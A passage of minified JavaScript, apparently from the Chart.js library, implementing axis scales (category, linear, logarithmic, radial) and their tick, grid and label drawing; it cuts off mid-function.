e=this;e.isHorizontal()?(e.width=e.maxWidth,e.left=0,e.right=e.width):(e.height=e.maxHeight,e.top=0,e.bottom=e.height),e.paddingLeft=0,e.paddingTop=0,e.paddingRight=0,e.paddingBottom=0},afterSetDimensions:function(){B.callback(this.options.afterSetDimensions,[this])},beforeDataLimits:function(){B.callback(this.options.beforeDataLimits,[this])},determineDataLimits:B.noop,afterDataLimits:function(){B.callback(this.options.afterDataLimits,[this])},beforeBuildTicks:function(){B.callback(this.options.beforeBuildTicks,[this])},buildTicks:B.noop,afterBuildTicks:function(e){var t=this;return tn(e)&&e.length?B.callback(t.options.afterBuildTicks,[t,e]):(t.ticks=B.callback(t.options.afterBuildTicks,[t,t.ticks])||t.ticks,e)},beforeTickToLabelConversion:function(){B.callback(this.options.beforeTickToLabelConversion,[this])},convertTicksToLabels:function(){var e=this.options.ticks;this.ticks=this.ticks.map(e.userCallback||e.callback,this)},afterTickToLabelConversion:function(){B.callback(this.options.afterTickToLabelConversion,[this])},beforeCalculateTickRotation:function(){B.callback(this.options.beforeCalculateTickRotation,[this])},calculateTickRotation:function(){var e,t,n,r,i,a,o,s=this,l=s.options,u=l.ticks,c=s.getTicks().length,f=u.minRotation||0,h=u.maxRotation,d=f;!s._isVisible()||!u.display||f>=h||c<=1||!s.isHorizontal()?s.labelRotation=f:(t=(e=s._getLabelSizes()).widest.width,n=e.highest.height-e.highest.offset,r=Math.min(s.maxWidth,s.chart.width-t),t+6>(i=l.offset?s.maxWidth/c:r/(c-1))&&(i=r/(c-(l.offset?.5:1)),a=s.maxHeight-ln(l.gridLines)-u.padding-un(l.scaleLabel),o=Math.sqrt(t*t+n*n),d=B.toDegrees(Math.min(Math.asin(Math.min((e.highest.height+6)/i,1)),Math.asin(Math.min(a/o,1))-Math.asin(n/o))),d=Math.max(f,Math.min(h,d))),s.labelRotation=d)},afterCalculateTickRotation:function(){B.callback(this.options.afterCalculateTickRotation,[this])},beforeFit:function(){B.callback(this.options.beforeFit,[this])},fit:function(){var e=this,t=e.minSize={width:0,height:0},n=e.chart,r=e.options,i=r.ticks,a=r.scaleLabel,o=r.gridLines,s=e._isVisible(),l="bottom"===r.position,u=e.isHorizontal();if(u?t.width=e.maxWidth:s&&(t.width=ln(o)+un(a)),u?s&&(t.height=ln(o)+un(a)):t.height=e.maxHeight,i.display&&s){var c=fn(i),f=e._getLabelSizes(),h=f.first,d=f.last,p=f.widest,m=f.highest,v=.4*c.minor.lineHeight,g=i.padding;if(u){var y=0!==e.labelRotation,b=B.toRadians(e.labelRotation),x=Math.cos(b),w=Math.sin(b),k=w*p.width+x*(m.height-(y?m.offset:0))+(y?0:v);t.height=Math.min(e.maxHeight,t.height+k+g);var _,M,S=e.getPixelForTick(0)-e.left,T=e.right-e.getPixelForTick(e.getTicks().length-1);y?(_=l?x*h.width+w*h.offset:w*(h.height-h.offset),M=l?w*(d.height-d.offset):x*d.width+w*d.offset):(_=h.width/2,M=d.width/2),e.paddingLeft=Math.max((_-S)*e.width/(e.width-S),0)+3,e.paddingRight=Math.max((M-T)*e.width/(e.width-T),0)+3}else{var O=i.mirror?0:p.width+g+v;t.width=Math.min(e.maxWidth,t.width+O),e.paddingTop=h.height/2,e.paddingBottom=d.height/2}}e.handleMargins(),u?(e.width=e._length=n.width-e.margins.left-e.margins.right,e.height=t.height):(e.width=t.width,e.height=e._length=n.height-e.margins.top-e.margins.bottom)},handleMargins:function(){var e=this;e.margins&&(e.margins.left=Math.max(e.paddingLeft,e.margins.left),e.margins.top=Math.max(e.paddingTop,e.margins.top),e.margins.right=Math.max(e.paddingRight,e.margins.right),e.margins.bottom=Math.max(e.paddingBottom,e.margins.bottom))},afterFit:function(){B.callback(this.options.afterFit,[this])},isHorizontal:function(){var e=this.options.position;return"top"===e||"bottom"===e},isFullWidth:function(){return this.options.fullWidth},getRightValue:function(e){if(nn(e))return NaN;if(("number"===typeof e||e instanceof Number)&&!isFinite(e))return NaN;if(e)if(this.isHorizontal()){if(void 0!==e.x)return this.getRightValue(e.x)}else if(void 0!==e.y)return this.getRightValue(e.y);return e},_convertTicksToLabels:function(e){var t,n,r,i=this;for(i.ticks=e.map((function(e){return e.value})),i.beforeTickToLabelConversion(),t=i.convertTicksToLabels(e)||i.ticks,i.afterTickToLabelConversion(),n=0,r=e.length;n<r;++n)e[n].label=t[n];return t},_getLabelSizes:function(){var e=this,t=e._labelSizes;return t||(e._labelSizes=t=sn(e.ctx,fn(e.options.ticks),e.getTicks(),e.longestTextCache),e.longestLabelWidth=t.widest.width),t},_parseValue:function(e){var t,n,r,i;return tn(e)?(t=+this.getRightValue(e[0]),n=+this.getRightValue(e[1]),r=Math.min(t,n),i=Math.max(t,n)):(t=void 0,n=e=+this.getRightValue(e),r=e,i=e),{min:r,max:i,start:t,end:n}},_getScaleLabel:function(e){var t=this._parseValue(e);return void 0!==t.start?"["+t.start+", "+t.end+"]":+this.getRightValue(e)},getLabelForIndex:B.noop,getPixelForValue:B.noop,getValueForPixel:B.noop,getPixelForTick:function(e){var t=this.options.offset,n=this._ticks.length,r=1/Math.max(n-(t?0:1),1);return e<0||e>n-1?null:this.getPixelForDecimal(e*r+(t?r/2:0))},getPixelForDecimal:function(e){return this._reversePixels&&(e=1-e),this._startPixel+e*this._length},getDecimalForPixel:function(e){var t=(e-this._startPixel)/this._length;return this._reversePixels?1-t:t},getBasePixel:function(){return this.getPixelForValue(this.getBaseValue())},getBaseValue:function(){var e=this.min,t=this.max;return this.beginAtZero?0:e<0&&t<0?t:e>0&&t>0?e:0},_autoSkip:function(e){var t,n,r,i,a=this.options.ticks,o=this._length,s=a.maxTicksLimit||o/this._tickSize()+1,l=a.major.enabled?function(e){var t,n,r=[];for(t=0,n=e.length;t<n;t++)e[t].major&&r.push(t);return r}(e):[],u=l.length,c=l[0],f=l[u-1];if(u>s)return function(e,t,n){var r,i,a=0,o=t[0];for(n=Math.ceil(n),r=0;r<e.length;r++)i=e[r],r===o?(i._index=r,o=t[++a*n]):delete i.label}(e,l,u/s),hn(e);if(r=function(e,t,n,r){var i,a,o,s,l=function(e){var t,n,r=e.length;if(r<2)return!1;for(n=e[0],t=1;t<r;++t)if(e[t]-e[t-1]!==n)return!1;return n}(e),u=(t.length-1)/r;if(!l)return Math.max(u,1);for(o=0,s=(i=B.math._factorize(l)).length-1;o<s;o++)if((a=i[o])>u)return a;return Math.max(u,1)}(l,e,0,s),u>0){for(t=0,n=u-1;t<n;t++)dn(e,r,l[t],l[t+1]);return i=u>1?(f-c)/(u-1):null,dn(e,r,B.isNullOrUndef(i)?0:c-i,c),dn(e,r,f,B.isNullOrUndef(i)?e.length:f+i),hn(e)}return dn(e,r),hn(e)},_tickSize:function(){var e=this.options.ticks,t=B.toRadians(this.labelRotation),n=Math.abs(Math.cos(t)),r=Math.abs(Math.sin(t)),i=this._getLabelSizes(),a=e.autoSkipPadding||0,o=i?i.widest.width+a:0,s=i?i.highest.height+a:0;return this.isHorizontal()?s*n>o*r?o/n:s/r:s*r<o*n?s/n:o/r},_isVisible:function(){var e,t,n,r=this.chart,i=this.options.display;if("auto"!==i)return!!i;for(e=0,t=r.data.datasets.length;e<t;++e)if(r.isDatasetVisible(e)&&((n=r.getDatasetMeta(e)).xAxisID===this.id||n.yAxisID===this.id))return!0;return!1},_computeGridLineItems:function(e){var t,n,r,i,a,o,s,l,u,c,f,h,d,p,m,v,g,y=this,b=y.chart,x=y.options,w=x.gridLines,k=x.position,_=w.offsetGridLines,M=y.isHorizontal(),S=y._ticksToDraw,T=S.length+(_?1:0),O=ln(w),E=[],C=w.drawBorder?an(w.lineWidth,0,0):0,N=C/2,P=B._alignPixel,A=function(e){return P(b,e,C)};for("top"===k?(t=A(y.bottom),s=y.bottom-O,u=t-N,f=A(e.top)+N,d=e.bottom):"bottom"===k?(t=A(y.top),f=e.top,d=A(e.bottom)-N,s=t+N,u=y.top+O):"left"===k?(t=A(y.right),o=y.right-O,l=t-N,c=A(e.left)+N,h=e.right):(t=A(y.left),c=e.left,h=A(e.right)-N,o=t+N,l=y.left+O),n=0;n<T;++n)r=S[n]||{},nn(r.label)&&n<S.length||(n===y.zeroLineIndex&&x.offset===_?(p=w.zeroLineWidth,m=w.zeroLineColor,v=w.zeroLineBorderDash||[],g=w.zeroLineBorderDashOffset||0):(p=an(w.lineWidth,n,1),m=an(w.color,n,"rgba(0,0,0,0.1)"),v=w.borderDash||[],g=w.borderDashOffset||0),void 0!==(i=on(y,r._index||n,_))&&(a=P(b,i,p),M?o=l=c=h=a:s=u=f=d=a,E.push({tx1:o,ty1:s,tx2:l,ty2:u,x1:c,y1:f,x2:h,y2:d,width:p,color:m,borderDash:v,borderDashOffset:g})));return E.ticksLength=T,E.borderValue=t,E},_computeLabelItems:function(){var e,t,n,r,i,a,o,s,l,u,c,f,h=this,d=h.options,p=d.ticks,m=d.position,v=p.mirror,g=h.isHorizontal(),y=h._ticksToDraw,b=fn(p),x=p.padding,w=ln(d.gridLines),k=-B.toRadians(h.labelRotation),_=[];for("top"===m?(a=h.bottom-w-x,o=k?"left":"center"):"bottom"===m?(a=h.top+w+x,o=k?"right":"center"):"left"===m?(i=h.right-(v?0:w)-x,o=v?"left":"right"):(i=h.left+(v?0:w)+x,o=v?"right":"left"),e=0,t=y.length;e<t;++e)r=(n=y[e]).label,nn(r)||(s=h.getPixelForTick(n._index||e)+p.labelOffset,u=(l=n.major?b.major:b.minor).lineHeight,c=tn(r)?r.length:1,g?(i=s,f="top"===m?((k?1:.5)-c)*u:(k?0:.5)*u):(a=s,f=(1-c)*u/2),_.push({x:i,y:a,rotation:k,label:r,font:l,textOffset:f,textAlign:o}));return _},_drawGrid:function(e){var t=this,n=t.options.gridLines;if(n.display){var r,i,a,o,s,l=t.ctx,u=t.chart,c=B._alignPixel,f=n.drawBorder?an(n.lineWidth,0,0):0,h=t._gridLineItems||(t._gridLineItems=t._computeGridLineItems(e));for(a=0,o=h.length;a<o;++a)r=(s=h[a]).width,i=s.color,r&&i&&(l.save(),l.lineWidth=r,l.strokeStyle=i,l.setLineDash&&(l.setLineDash(s.borderDash),l.lineDashOffset=s.borderDashOffset),l.beginPath(),n.drawTicks&&(l.moveTo(s.tx1,s.ty1),l.lineTo(s.tx2,s.ty2)),n.drawOnChartArea&&(l.moveTo(s.x1,s.y1),l.lineTo(s.x2,s.y2)),l.stroke(),l.restore());if(f){var d,p,m,v,g=f,y=an(n.lineWidth,h.ticksLength-1,1),b=h.borderValue;t.isHorizontal()?(d=c(u,t.left,g)-g/2,p=c(u,t.right,y)+y/2,m=v=b):(m=c(u,t.top,g)-g/2,v=c(u,t.bottom,y)+y/2,d=p=b),l.lineWidth=f,l.strokeStyle=an(n.color,0),l.beginPath(),l.moveTo(d,m),l.lineTo(p,v),l.stroke()}}},_drawLabels:function(){var e=this;if(e.options.ticks.display){var t,n,r,i,a,o,s,l,u=e.ctx,c=e._labelItems||(e._labelItems=e._computeLabelItems());for(t=0,r=c.length;t<r;++t){if(o=(a=c[t]).font,u.save(),u.translate(a.x,a.y),u.rotate(a.rotation),u.font=o.string,u.fillStyle=o.color,u.textBaseline="middle",u.textAlign=a.textAlign,s=a.label,l=a.textOffset,tn(s))for(n=0,i=s.length;n<i;++n)u.fillText(""+s[n],0,l),l+=o.lineHeight;else u.fillText(s,0,l);u.restore()}}},_drawTitle:function(){var e=this,t=e.ctx,n=e.options,r=n.scaleLabel;if(r.display){var i,a,o=rn(r.fontColor,I.global.defaultFontColor),s=B.options._parseFont(r),l=B.options.toPadding(r.padding),u=s.lineHeight/2,c=n.position,f=0;if(e.isHorizontal())i=e.left+e.width/2,a="bottom"===c?e.bottom-u-l.bottom:e.top+u+l.top;else{var h="left"===c;i=h?e.left+u+l.top:e.right-u-l.top,a=e.top+e.height/2,f=h?-.5*Math.PI:.5*Math.PI}t.save(),t.translate(i,a),t.rotate(f),t.textAlign="center",t.textBaseline="middle",t.fillStyle=o,t.font=s.string,t.fillText(r.labelString,0,0),t.restore()}},draw:function(e){this._isVisible()&&(this._drawGrid(e),this._drawTitle(),this._drawLabels())},_layers:function(){var e=this,t=e.options,n=t.ticks&&t.ticks.z||0,r=t.gridLines&&t.gridLines.z||0;return e._isVisible()&&n!==r&&e.draw===e._draw?[{z:r,draw:function(){e._drawGrid.apply(e,arguments),e._drawTitle.apply(e,arguments)}},{z:n,draw:function(){e._drawLabels.apply(e,arguments)}}]:[{z:n,draw:function(){e.draw.apply(e,arguments)}}]},_getMatchingVisibleMetas:function(e){var t=this,n=t.isHorizontal();return t.chart._getSortedVisibleDatasetMetas().filter((function(r){return(!e||r.type===e)&&(n?r.xAxisID===t.id:r.yAxisID===t.id)}))}});pn.prototype._draw=pn.prototype.draw;var mn=pn,vn=B.isNullOrUndef,gn=mn.extend({determineDataLimits:function(){var e,t=this,n=t._getLabels(),r=t.options.ticks,i=r.min,a=r.max,o=0,s=n.length-1;void 0!==i&&(e=n.indexOf(i))>=0&&(o=e),void 0!==a&&(e=n.indexOf(a))>=0&&(s=e),t.minIndex=o,t.maxIndex=s,t.min=n[o],t.max=n[s]},buildTicks:function(){var e=this._getLabels(),t=this.minIndex,n=this.maxIndex;this.ticks=0===t&&n===e.length-1?e:e.slice(t,n+1)},getLabelForIndex:function(e,t){var n=this.chart;return n.getDatasetMeta(t).controller._getValueScaleId()===this.id?this.getRightValue(n.data.datasets[t].data[e]):this._getLabels()[e]},_configure:function(){var e=this,t=e.options.offset,n=e.ticks;mn.prototype._configure.call(e),e.isHorizontal()||(e._reversePixels=!e._reversePixels),n&&(e._startValue=e.minIndex-(t?.5:0),e._valueRange=Math.max(n.length-(t?0:1),1))},getPixelForValue:function(e,t,n){var r,i,a,o=this;return vn(t)||vn(n)||(e=o.chart.data.datasets[n].data[t]),vn(e)||(r=o.isHorizontal()?e.x:e.y),(void 0!==r||void 0!==e&&isNaN(t))&&(i=o._getLabels(),e=B.valueOrDefault(r,e),t=-1!==(a=i.indexOf(e))?a:t,isNaN(t)&&(t=e)),o.getPixelForDecimal((t-o._startValue)/o._valueRange)},getPixelForTick:function(e){var t=this.ticks;return e<0||e>t.length-1?null:this.getPixelForValue(t[e],e+this.minIndex)},getValueForPixel:function(e){var t=Math.round(this._startValue+this.getDecimalForPixel(e)*this._valueRange);return Math.min(Math.max(t,0),this.ticks.length-1)},getBasePixel:function(){return this.bottom}}),yn={position:"bottom"};gn._defaults=yn;var bn=B.noop,xn=B.isNullOrUndef,wn=mn.extend({getRightValue:function(e){return"string"===typeof e?+e:mn.prototype.getRightValue.call(this,e)},handleTickRangeOptions:function(){var e=this,t=e.options.ticks;if(t.beginAtZero){var n=B.sign(e.min),r=B.sign(e.max);n<0&&r<0?e.max=0:n>0&&r>0&&(e.min=0)}var i=void 0!==t.min||void 0!==t.suggestedMin,a=void 0!==t.max||void 0!==t.suggestedMax;void 0!==t.min?e.min=t.min:void 0!==t.suggestedMin&&(null===e.min?e.min=t.suggestedMin:e.min=Math.min(e.min,t.suggestedMin)),void 0!==t.max?e.max=t.max:void 0!==t.suggestedMax&&(null===e.max?e.max=t.suggestedMax:e.max=Math.max(e.max,t.suggestedMax)),i!==a&&e.min>=e.max&&(i?e.max=e.min+1:e.min=e.max-1),e.min===e.max&&(e.max++,t.beginAtZero||e.min--)},getTickLimit:function(){var e,t=this.options.ticks,n=t.stepSize,r=t.maxTicksLimit;return n?e=Math.ceil(this.max/n)-Math.floor(this.min/n)+1:(e=this._computeTickLimit(),r=r||11),r&&(e=Math.min(r,e)),e},_computeTickLimit:function(){return Number.POSITIVE_INFINITY},handleDirectionalChanges:bn,buildTicks:function(){var e=this,t=e.options.ticks,n=e.getTickLimit(),r={maxTicks:n=Math.max(2,n),min:t.min,max:t.max,precision:t.precision,stepSize:B.valueOrDefault(t.fixedStepSize,t.stepSize)},i=e.ticks=function(e,t){var n,r,i,a,o=[],s=e.stepSize,l=s||1,u=e.maxTicks-1,c=e.min,f=e.max,h=e.precision,d=t.min,p=t.max,m=B.niceNum((p-d)/u/l)*l;if(m<1e-14&&xn(c)&&xn(f))return[d,p];(a=Math.ceil(p/m)-Math.floor(d/m))>u&&(m=B.niceNum(a*m/u/l)*l),s||xn(h)?n=Math.pow(10,B._decimalPlaces(m)):(n=Math.pow(10,h),m=Math.ceil(m*n)/n),r=Math.floor(d/m)*m,i=Math.ceil(p/m)*m,s&&(!xn(c)&&B.almostWhole(c/m,m/1e3)&&(r=c),!xn(f)&&B.almostWhole(f/m,m/1e3)&&(i=f)),a=(i-r)/m,a=B.almostEquals(a,Math.round(a),m/1e3)?Math.round(a):Math.ceil(a),r=Math.round(r*n)/n,i=Math.round(i*n)/n,o.push(xn(c)?r:c);for(var v=1;v<a;++v)o.push(Math.round((r+v*m)*n)/n);return o.push(xn(f)?i:f),o}(r,e);e.handleDirectionalChanges(),e.max=B.max(i),e.min=B.min(i),t.reverse?(i.reverse(),e.start=e.max,e.end=e.min):(e.start=e.min,e.end=e.max)},convertTicksToLabels:function(){var e=this;e.ticksAsNumbers=e.ticks.slice(),e.zeroLineIndex=e.ticks.indexOf(0),mn.prototype.convertTicksToLabels.call(e)},_configure:function(){var e,t=this,n=t.getTicks(),r=t.min,i=t.max;mn.prototype._configure.call(t),t.options.offset&&n.length&&(r-=e=(i-r)/Math.max(n.length-1,1)/2,i+=e),t._startValue=r,t._endValue=i,t._valueRange=i-r}}),kn={position:"left",ticks:{callback:en.formatters.linear}};function _n(e,t,n,r){var i,a,o=e.options,s=function(e,t,n){var r=[n.type,void 0===t&&void 0===n.stack?n.index:"",n.stack].join(".");return void 0===e[r]&&(e[r]={pos:[],neg:[]}),e[r]}(t,o.stacked,n),l=s.pos,u=s.neg,c=r.length;for(i=0;i<c;++i)a=e._parseValue(r[i]),isNaN(a.min)||isNaN(a.max)||n.data[i].hidden||(l[i]=l[i]||0,u[i]=u[i]||0,o.relativePoints?l[i]=100:a.min<0||a.max<0?u[i]+=a.min:l[i]+=a.max)}function Mn(e,t,n){var r,i,a=n.length;for(r=0;r<a;++r)i=e._parseValue(n[r]),isNaN(i.min)||isNaN(i.max)||t.data[r].hidden||(e.min=Math.min(e.min,i.min),e.max=Math.max(e.max,i.max))}var Sn=wn.extend({determineDataLimits:function(){var e,t,n,r,i=this,a=i.options,o=i.chart.data.datasets,s=i._getMatchingVisibleMetas(),l=a.stacked,u={},c=s.length;if(i.min=Number.POSITIVE_INFINITY,i.max=Number.NEGATIVE_INFINITY,void 0===l)for(e=0;!l&&e<c;++e)l=void 0!==(t=s[e]).stack;for(e=0;e<c;++e)n=o[(t=s[e]).index].data,l?_n(i,u,t,n):Mn(i,t,n);B.each(u,(function(e){r=e.pos.concat(e.neg),i.min=Math.min(i.min,B.min(r)),i.max=Math.max(i.max,B.max(r))})),i.min=B.isFinite(i.min)&&!isNaN(i.min)?i.min:0,i.max=B.isFinite(i.max)&&!isNaN(i.max)?i.max:1,i.handleTickRangeOptions()},_computeTickLimit:function(){var e;return this.isHorizontal()?Math.ceil(this.width/40):(e=B.options._parseFont(this.options.ticks),Math.ceil(this.height/e.lineHeight))},handleDirectionalChanges:function(){this.isHorizontal()||this.ticks.reverse()},getLabelForIndex:function(e,t){return this._getScaleLabel(this.chart.data.datasets[t].data[e])},getPixelForValue:function(e){return this.getPixelForDecimal((+this.getRightValue(e)-this._startValue)/this._valueRange)},getValueForPixel:function(e){return this._startValue+this.getDecimalForPixel(e)*this._valueRange},getPixelForTick:function(e){var t=this.ticksAsNumbers;return e<0||e>t.length-1?null:this.getPixelForValue(t[e])}}),Tn=kn;Sn._defaults=Tn;var On=B.valueOrDefault,En=B.math.log10,Cn={position:"left",ticks:{callback:en.formatters.logarithmic}};function Nn(e,t){return B.isFinite(e)&&e>=0?e:t}var Pn=mn.extend({determineDataLimits:function(){var e,t,n,r,i,a,o=this,s=o.options,l=o.chart,u=l.data.datasets,c=o.isHorizontal();function f(e){return c?e.xAxisID===o.id:e.yAxisID===o.id}o.min=Number.POSITIVE_INFINITY,o.max=Number.NEGATIVE_INFINITY,o.minNotZero=Number.POSITIVE_INFINITY;var h=s.stacked;if(void 0===h)for(e=0;e<u.length;e++)if(t=l.getDatasetMeta(e),l.isDatasetVisible(e)&&f(t)&&void 0!==t.stack){h=!0;break}if(s.stacked||h){var d={};for(e=0;e<u.length;e++){var p=[(t=l.getDatasetMeta(e)).type,void 0===s.stacked&&void 0===t.stack?e:"",t.stack].join(".");if(l.isDatasetVisible(e)&&f(t))for(void 0===d[p]&&(d[p]=[]),i=0,a=(r=u[e].data).length;i<a;i++){var m=d[p];n=o._parseValue(r[i]),isNaN(n.min)||isNaN(n.max)||t.data[i].hidden||n.min<0||n.max<0||(m[i]=m[i]||0,m[i]+=n.max)}}B.each(d,(function(e){if(e.length>0){var t=B.min(e),n=B.max(e);o.min=Math.min(o.min,t),o.max=Math.max(o.max,n)}}))}else for(e=0;e<u.length;e++)if(t=l.getDatasetMeta(e),l.isDatasetVisible(e)&&f(t))for(i=0,a=(r=u[e].data).length;i<a;i++)n=o._parseValue(r[i]),isNaN(n.min)||isNaN(n.max)||t.data[i].hidden||n.min<0||n.max<0||(o.min=Math.min(n.min,o.min),o.max=Math.max(n.max,o.max),0!==n.min&&(o.minNotZero=Math.min(n.min,o.minNotZero)));o.min=B.isFinite(o.min)?o.min:null,o.max=B.isFinite(o.max)?o.max:null,o.minNotZero=B.isFinite(o.minNotZero)?o.minNotZero:null,this.handleTickRangeOptions()},handleTickRangeOptions:function(){var e=this,t=e.options.ticks;e.min=Nn(t.min,e.min),e.max=Nn(t.max,e.max),e.min===e.max&&(0!==e.min&&null!==e.min?(e.min=Math.pow(10,Math.floor(En(e.min))-1),e.max=Math.pow(10,Math.floor(En(e.max))+1)):(e.min=1,e.max=10)),null===e.min&&(e.min=Math.pow(10,Math.floor(En(e.max))-1)),null===e.max&&(e.max=0!==e.min?Math.pow(10,Math.floor(En(e.min))+1):10),null===e.minNotZero&&(e.min>0?e.minNotZero=e.min:e.max<1?e.minNotZero=Math.pow(10,Math.floor(En(e.max))):e.minNotZero=1)},buildTicks:function(){var e=this,t=e.options.ticks,n=!e.isHorizontal(),r={min:Nn(t.min),max:Nn(t.max)},i=e.ticks=function(e,t){var n,r,i=[],a=On(e.min,Math.pow(10,Math.floor(En(t.min)))),o=Math.floor(En(t.max)),s=Math.ceil(t.max/Math.pow(10,o));0===a?(n=Math.floor(En(t.minNotZero)),r=Math.floor(t.minNotZero/Math.pow(10,n)),i.push(a),a=r*Math.pow(10,n)):(n=Math.floor(En(a)),r=Math.floor(a/Math.pow(10,n)));var l=n<0?Math.pow(10,Math.abs(n)):1;do{i.push(a),10===++r&&(r=1,l=++n>=0?1:l),a=Math.round(r*Math.pow(10,n)*l)/l}while(n<o||n===o&&r<s);var u=On(e.max,a);return i.push(u),i}(r,e);e.max=B.max(i),e.min=B.min(i),t.reverse?(n=!n,e.start=e.max,e.end=e.min):(e.start=e.min,e.end=e.max),n&&i.reverse()},convertTicksToLabels:function(){this.tickValues=this.ticks.slice(),mn.prototype.convertTicksToLabels.call(this)},getLabelForIndex:function(e,t){return this._getScaleLabel(this.chart.data.datasets[t].data[e])},getPixelForTick:function(e){var t=this.tickValues;return e<0||e>t.length-1?null:this.getPixelForValue(t[e])},_getFirstTickValue:function(e){var t=Math.floor(En(e));return Math.floor(e/Math.pow(10,t))*Math.pow(10,t)},_configure:function(){var e=this,t=e.min,n=0;mn.prototype._configure.call(e),0===t&&(t=e._getFirstTickValue(e.minNotZero),n=On(e.options.ticks.fontSize,I.global.defaultFontSize)/e._length),e._startValue=En(t),e._valueOffset=n,e._valueRange=(En(e.max)-En(t))/(1-n)},getPixelForValue:function(e){var t=this,n=0;return(e=+t.getRightValue(e))>t.min&&e>0&&(n=(En(e)-t._startValue)/t._valueRange+t._valueOffset),t.getPixelForDecimal(n)},getValueForPixel:function(e){var t=this,n=t.getDecimalForPixel(e);return 0===n&&0===t.min?0:Math.pow(10,t._startValue+(n-t._valueOffset)*t._valueRange)}}),An=Cn;Pn._defaults=An;var zn=B.valueOrDefault,Dn=B.valueAtIndexOrDefault,In=B.options.resolve,Rn={display:!0,animate:!0,position:"chartArea",angleLines:{display:!0,color:"rgba(0,0,0,0.1)",lineWidth:1,borderDash:[],borderDashOffset:0},gridLines:{circular:!1},ticks:{showLabelBackdrop:!0,backdropColor:"rgba(255,255,255,0.75)",backdropPaddingY:2,backdropPaddingX:2,callback:en.formatters.linear},pointLabels:{display:!0,fontSize:10,callback:function(e){return e}}};function jn(e){var t=e.ticks;return t.display&&e.display?zn(t.fontSize,I.global.defaultFontSize)+2*t.backdropPaddingY:0}function Fn(e,t,n,r,i){return e===r||e===i?{start:t-n/2,end:t+n/2}:e<r||e>i?{start:t-n,end:t}:{start:t,end:t+n}}function Ln(e){return 0===e||180===e?"center":e<180?"left":"right"}function Bn(e,t,n,r){var i,a,o=n.y+r/2;if(B.isArray(t))for(i=0,a=t.length;i<a;++i)e.fillText(t[i],n.x,o),o+=r;else e.fillText(t,n.x,o)}function Vn(e,t,n){90===e||270===e?n.y-=t.h/2:(e>270||e<90)&&(n.y-=t.h)}function Hn(e){return B.isNumber(e)?e:0}var Wn=wn.extend({setDimensions:function(){var e=this;e.width=e.maxWidth,e.height=e.maxHeight,e.paddingTop=jn(e.options)/2,e.xCenter=Math.floor(e.width/2),e.yCenter=Math.floor((e.height-e.paddingTop)/2),e.drawingArea=Math.min(e.height-e.paddingTop,e.width)/2},determineDataLimits:function(){var e=this,t=e.chart,n=Number.POSITIVE_INFINITY,r=Number.NEGATIVE_INFINITY;B.each(t.data.datasets,(function(i,a){if(t.isDatasetVisible(a)){var o=t.getDatasetMeta(a);B.each(i.data,(function(t,i){var a=+e.getRightValue(t);isNaN(a)||o.data[i].hidden||(n=Math.min(a,n),r=Math.max(a,r))}))}})),e.min=n===Number.POSITIVE_INFINITY?0:n,e.max=r===Number.NEGATIVE_INFINITY?0:r,e.handleTickRangeOptions()},_computeTickLimit:function(){return Math.ceil(this.drawingArea/jn(this.options))},convertTicksToLabels:function(){var e=this;wn.prototype.convertTicksToLabels.call(e),e.pointLabels=e.chart.data.labels.map((function(){var t=B.callback(e.options.pointLabels.callback,arguments,e);return t||0===t?t:""}))},getLabelForIndex:function(e,t){return+this.getRightValue(this.chart.data.datasets[t].data[e])},fit:function(){var e=this.options;e.display&&e.pointLabels.display?function(e){var t,n,r,i=B.options._parseFont(e.options.pointLabels),a={l:0,r:e.width,t:0,b:e.height-e.paddingTop},o={};e.ctx.font=i.string,e._pointLabelSizes=[];var s,l,u,c=e.chart.data.labels.length;for(t=0;t<c;t++){r=e.getPointPosition(t,e.drawingArea+5),s=e.ctx,l=i.lineHeight,u=e.pointLabels[t],n=B.isArray(u)?{w:B.longestText(s,s.font,u),h:u.length*l}:{w:s.measureText(u).width,h:l},e._pointLabelSizes[t]=n;var f=e.getIndexAngle(t),h=B.toDegrees(f)%360,d=Fn(h,r.x,n.w,0,180),p=Fn(h,r.y,n.h,90,270);d.start<a.l&&(a.l=d.start,o.l=f),d.end>a.r&&(a.r=d.end,o.r=f),p.start<a.t&&(a.t=p.start,o.t=f),p.end>a.b&&(a.b=p.end,o.b=f)}e.setReductions(e.drawingArea,a,o)}(this):this.setCenterPoint(0,0,0,0)},setReductions:function(e,t,n){var r=this,i=t.l/Math.sin(n.l),a=Math.max(t.r-r.width,0)/Math.sin(n.r),o=-t.t/Math.cos(n.t),s=-Math.max(t.b-(r.height-r.paddingTop),0)/Math.cos(n.b);i=Hn(i),a=Hn(a),o=Hn(o),s=Hn(s),r.drawingArea=Math.min(Math.floor(e-(i+a)/2),Math.floor(e-(o+s)/2)),r.setCenterPoint(i,a,o,s)},setCenterPoint:function(e,t,n,r){var i=this,a=i.width-t-i.drawingArea,o=e+i.drawingArea,s=n+i.drawingArea,l=i.height-i.paddingTop-r-i.drawingArea;i.xCenter=Math.floor((o+a)/2+i.left),i.yCenter=Math.floor((s+l)/2+i.top+i.paddingTop)},getIndexAngle:function(e){var t=this.chart,n=(e*(360/t.data.labels.length)+((t.options||{}).startAngle||0))%360;return(n<0?n+360:n)*Math.PI*2/360},getDistanceFromCenterForValue:function(e){var t=this;if(B.isNullOrUndef(e))return NaN;var n=t.drawingArea/(t.max-t.min);return t.options.ticks.reverse?(t.max-e)*n:(e-t.min)*n},getPointPosition:function(e,t){var n=this.getIndexAngle(e)-Math.PI/2;return{x:Math.cos(n)*t+this.xCenter,y:Math.sin(n)*t+this.yCenter}},getPointPositionForValue:function(e,t){return this.getPointPosition(e,this.getDistanceFromCenterForValue(t))},getBasePosition:function(e){var t=this.min,n=this.max;return this.getPointPositionForValue(e||0,this.beginAtZero?0:t<0&&n<0?n:t>0&&n>0?t:0)},_drawGrid:function(){var e,t,n,r=this,i=r.ctx,a=r.options,o=a.gridLines,s=a.angleLines,l=zn(s.lineWidth,o.lineWidth),u=zn(s.color,o.color);if(a.pointLabels.display&&function(e){var t=e.ctx,n=e.options,r=n.pointLabels,i=jn(n),a=e.getDistanceFromCenterForValue(n.ticks.reverse?e.min:e.max),o=B.options._parseFont(r);t.save(),t.font=o.string,t.textBaseline="middle";for(var s=e.chart.data.labels.length-1;s>=0;s--){var l=0===s?i/2:0,u=e.getPointPosition(s,a+l+5),c=Dn(r.fontColor,s,I.global.defaultFontColor);t.fillStyle=c;var f=e.getIndexAngle(s),h=B.toDegrees(f);t.textAlign=Ln(h),Vn(h,e._pointLabelSizes[s],u),Bn(t,e.pointLabels[s],u,o.lineHeight)}t.restore()}(r),o.display&&B.each(r.ticks,(function(e,n){0!==n&&(t=r.getDistanceFromCenterForValue(r.ticksAsNumbers[n]),function(e,t,n,r){var 